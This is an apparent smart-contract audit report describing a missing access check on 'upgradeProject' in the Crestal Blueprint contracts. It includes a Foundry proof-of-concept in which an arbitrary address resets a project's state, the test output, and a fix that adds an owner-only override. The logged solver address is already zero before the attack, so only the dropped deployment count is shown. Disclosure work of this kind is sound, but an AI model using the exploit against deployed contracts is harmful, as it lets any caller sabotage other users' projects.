Tart Paisley Cow

High

# Any user can reset project data, causing potential sabotage

### Summary

The `upgradeProject` function in `BlueprintCore.sol` https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L198 is public and not overridden in `Blueprint.sol` or `BlueprintV5.sol`. This allows any actor to call it and reset private project variables, including the `solverAddr`, leading to project sabotage.  


### Root Cause

- In `BlueprintCore.sol:198`, the function `upgradeProject` is declared as `public`, allowing any user to call it.  
- The function modifies private state variables, including resetting `solverAddr`, without proper access control.  
- `Blueprint.sol` and `BlueprintV5.sol` inherit from `BlueprintCore`, but do not override or restrict access to `upgradeProject`, leaving it exposed.  

### Internal Pre-conditions

1. The attacker does not need any special role and can be any external address.  
2. There are no restrictions on calling `upgradeProject`.  

### External Pre-conditions

No external dependencies are required for the attack. 

### Attack Path

1. Any user calls `upgradeProject(projectId)`.  
2. The function executes and resets private variables associated with the project, including `solverAddr`.  
3. The project state is forcibly reverted to an initial state, potentially disrupting operations.  


### Impact

- **Sabotage:** An attacker can reset the project state at any time, potentially disrupting project execution and coordination.  
- **Loss of Trust:** Users interacting with the project may experience unexpected behavior, leading to reputational damage.  

### PoC

```solidity

pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "forge-std/console2.sol";
import "forge-std/console.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import {Blueprint} from "../src/Blueprint.sol";
import {stdError} from "forge-std/StdError.sol";
import {MockERC20} from "./MockERC20.sol";

contract BasicTest is Test {
    BlueprintV5 public blueprint;
    MockERC20 public mockToken;
    bytes32 public projectId;
    address public workerAddress;
    address public dummyAddress;

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize(); // mimic upgradeable contract deploy behavior

        mockToken = new MockERC20();

        // set crestal wallet address
        blueprint.setFeeCollectionWalletAddress(address(0x7D8be0Dd8915E3511fFDDABDD631812be824f578));

        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2980);
        workerAddress = address(0x4d6585D89F889F29f77fd7Dd71864269BA1B31df);
        dummyAddress = address(0);
    }

    function generateSignature(bytes32 _projectId, string memory _base64Proposal, string memory _serverURL)
        internal
        view
        returns (bytes memory, address)
    {
        bytes32 digest = blueprint.getRequestDeploymentDigest(_projectId, _base64Proposal, _serverURL);
        uint256 signerPrivateKey = 0xA11CE;
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, digest);
        return (abi.encodePacked(r, s, v), vm.addr(0xA11CE));
    }


    function test_anyoneCanupgradePrivatevVariables() public {
            
        //Basic mock configuration
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://example.com";
        (bytes memory signature, address signerAddress) = generateSignature(projectId, base64Proposal, serverURL);
        blueprint.addPaymentAddress(address(mockToken));
        blueprint.setCreateAgentTokenCost(address(mockToken), 0);
        emit BlueprintCore.CreateAgent(projectId, "fake", signerAddress, 0, 0);
        blueprint.createAgentWithTokenWithSig(
            projectId, base64Proposal, workerAddress, serverURL, address(mockToken), signature
        );
        bytes32 latestProjId = blueprint.getLatestUserProjectID(signerAddress);
        assertEq(projectId, latestProjId);
        // Mint tokens to the test account
        uint256 validTokenAmount = 100 * 10 ** 18;

        // set none zero cost for create agents, use any number greater than 0
        blueprint.setCreateAgentTokenCost(address(mockToken), validTokenAmount);

        (address solverAddr, , bytes32[] memory deploymentIDs) = blueprint.getProjectInfo(projectId);

        console.log("Project ID:", uint256(projectId));
        console.log("Solver Address:", solverAddr);
        console.log("Deployment ID Count:", deploymentIDs.length);


        // Until here lets supouse all ok

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        //vm.expectRevert();
        blueprint.upgradeProject(projectId); // @note projects mapping is setted as private in BluePrintCore

        (solverAddr, , deploymentIDs) = blueprint.getProjectInfo(projectId);

        console.log("Project ID:", uint256(projectId));
        console.log("Solver Address:", solverAddr);
        console.log("Deployment ID Count:", deploymentIDs.length);


    }
}
```
Output:
```bash
Ran 1 test for test/BasicTest.t.sol:BasicTest
[PASS] test_anyoneCanupgradePrivatevVariables() (gas: 352751)
Logs:
  Project ID: 17703167835528440800640582918210246080639404329522521669469209721743707416960
  Solver Address: 0x0000000000000000000000000000000000000000
  Deployment ID Count: 1
  Project ID: 17703167835528440800640582918210246080639404329522521669469209721743707416960
  Solver Address: 0x0000000000000000000000000000000000000000
  Deployment ID Count: 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.85ms (1.12ms CPU time)
```

### Mitigation

I suggest declaring the `upgradeProject` function as `virtual` in `BlueprintCore.sol` so that it can be overridden in `BlueprintV5.sol`. This would allow implementing additional access controls, preventing unauthorized calls that reset private project variables.

BlueprintCore:upgradeProject
```diff
...
-    function upgradeProject(bytes32 projectId) public hasProject(projectId) {
+    function upgradeProject(bytes32 projectId) public virtual hasProject(projectId) {
...
```
Add the following function to `BlueprintV5` with the `onlyOwner` modifier

```diff
+    function upgradeProject(bytes32 projectId) public hasProject(projectId) override onlyOwner{
+        super.upgradeProject(projectId);
+    }
```

### Points to consider
This mitigation does not break any other tested cases implemented in test files
